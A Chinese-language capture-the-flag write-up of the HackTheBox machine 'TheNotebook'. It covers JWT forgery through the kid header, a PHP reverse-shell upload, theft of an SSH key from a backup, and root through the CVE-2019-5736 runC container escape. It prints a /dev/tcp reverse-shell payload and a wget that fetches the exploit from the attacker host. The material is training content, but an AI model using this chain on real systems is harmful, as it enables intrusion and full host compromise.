HackTheBox-theNotebook

Hackthebox-theNotebook

pwned

本机IP:10.10.16.11

目标IP:10.10.10.230

知识点

1.jwt令牌伪造

2.CVE-2019-5736 docker容器逃逸

信息收集

nmap

nmap

还是熟悉的22和80端口,访问下网站

notebook

测试了一下,登录和注册界面应该不存在sql注入

尝试注册admin发现用户已经存在了

注册登陆以后的功能就是notebook的笔记功能,类似于备忘录吧

简单测试一下似乎也不存在xss漏洞

xss

发现F12 请求头里的cookie长得很像jwt

session

拿到https://jwt.io/去解码一下,果然是jwt

jwt

HEADER里的kid似乎是从本地7070端口获得一个密钥,7070的端口未开放

PAYLOAD部分可以看到admin_cap:0,刚才注册时候已经发现admin用户被注册了

直接访问xx/admin发现报错Forbidden

forbidden

参考:https://blog.pentesteracademy.com/hacking-jwt-tokens-kid-claim-misuse-key-leak-e7fce9a10a9c

伪造JWT令牌

思路比较清晰了,自己生成一个私钥对jwt签名,并将当前用户设置为管理员

1
openssl genrsa -out privKey.key 1024

privkey

用python3在本地起一个服务,让目标从本机获取私钥

1
python3 -m http.server 7070

jwtfake

用生成的jwt令牌替换原来的,访问/admin,成功进入管理员界面

admin

管理员界面有两个功能(查看Notes和文件上传)

viewnote

管理员能同时查看所有注册用户和Admin的notes,其中有两篇中泄露了部分信息供参考

php

backups

①存在PHP文件执行的问题需要解决 ②服务器上有备份

GetShell

如果可以运行php文件,那么我们可以通过PHP文件执行的问题来上传一个php文件反弹shell

uploadshell

上传shell.php查看文件成功收到反弹回来的shell,升级为交互式shell(关于交互式和非交互式shell的区别可以自行百度)

1
2
3
4
5
6
7
8
9
SHELL=/bin/bash script -q /dev/null -q参数为静默运行,输出到/dev/null(黑洞)里,如果不加script -q /dev/null不会新启一个bash,shell=/bin/bash只是设置shell为bash,加了以后会给你挂起一个新的shell,并帮你记录所有内容
export TERM=xterm #运行xterm 一种终端
ctrl+z #netcat挂后台
stty raw -echo;fg #stty raw 设置原始输入 -echo 禁止回显,当您在键盘上输入时,并不出现在屏幕上 将本地终端置于原始模式,以免干扰远程终端
reset #重置远程终端
或者
script /dev/null //这是偷懒的方法,用起来不是很方便,但是像su之类的命令都可以执行
或者
python -c 'import pty; pty.spawn("/bin/bash")' //需要python环境

交互式shell

查看/etc/passwd中看到有个noah用户

finduser

从上面我们可以发现已经提示过有备份文件,访问/var/backups,发现备份文件home.tar.gz

findbackups

因为目标服务器上有python3环境,可以起一个web服务,把备份文件home.tar.gz下载到本机

receivetar

解压备份文件发现里面有noah用户的SSH密钥

idrsa

通过SSH连接10.10.10.230,在桌面可以得到user.txt

noah

提权

sudo -l查看用户当前用户可执行的指令,用户可以不需要密码在docker容器执行部分命令

sudo

1
sudo docker exec -it webapp_dev01 xxx

查看docker版本为18.06.0-ce,google搜一波发现了CVE-2019-5736docker容器逃逸漏洞

参考:

https://github.com/Frichetten/CVE-2019-5736-PoC

https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

漏洞概述

runC是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI(command-line interface) 工具。runC是Docker中最为核心的部分,容器的创建、运行、销毁等操作最终都是通过调用runC完成。

CVE-2019-5736,导致18.09.2版本之前的Docker允许恶意容器覆盖宿主机上的runC二进制文件,由此使攻击者能够以root身份在宿主机上执行任意命令。恶意容器需满足以下两个条件之一:

(1)由一个攻击者控制的恶意镜像创建

(2)攻击者具有某已存在容器的写权限,且可通过docker exec进入。

POC的利用需要在容器内拥有root,由于覆盖了/bin/sh所以当我们把修改好Payload的二进制文件main下载到docker中执行,下次再有人调用docker容器中的/bin/sh就会触发Payload。

通过修改payload反弹一个shell到本机以获得root

漏洞利用

1.SSH连接到目标主机,通过sudo docker exec -it webapp-dev01 bash在docker上执行命令,(暂且称之为SSH1)同时用另一个在另一个命令行窗口SSH连接到目标主机(SSH2)

2.在本地改好修改好Payload,执行go build main.go生成二进制文件

1
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/10.10.16.11/9999 0>&1"

maingo

3.在二进制文件所在目录用python起一个web服务

webserver

4.在docker容器中执行命令从本机获取二进制文件

1
wget http://10.10.16.11:8000/main

5.赋予二进制文件最高权限,并执行

1
chmod +x main && ./main

ssh1main

6.监听9999端口(端口根据payload里面的来)

7.在SSH1中二进制文件运行并覆盖完成/bin/sh,SSH2执行如下命令即可收到反弹回来的shell

1
sudo docker exec -it webapp-dev01 /bin/sh

ssh2

rootshell

root.txt在/root目录下

如果流程看不懂,还有终极图解方便理解(文字表达能力较差,各位师傅多担待)

全局

可能出现问题的点估计就是提权了,我也好久弹不出Shell…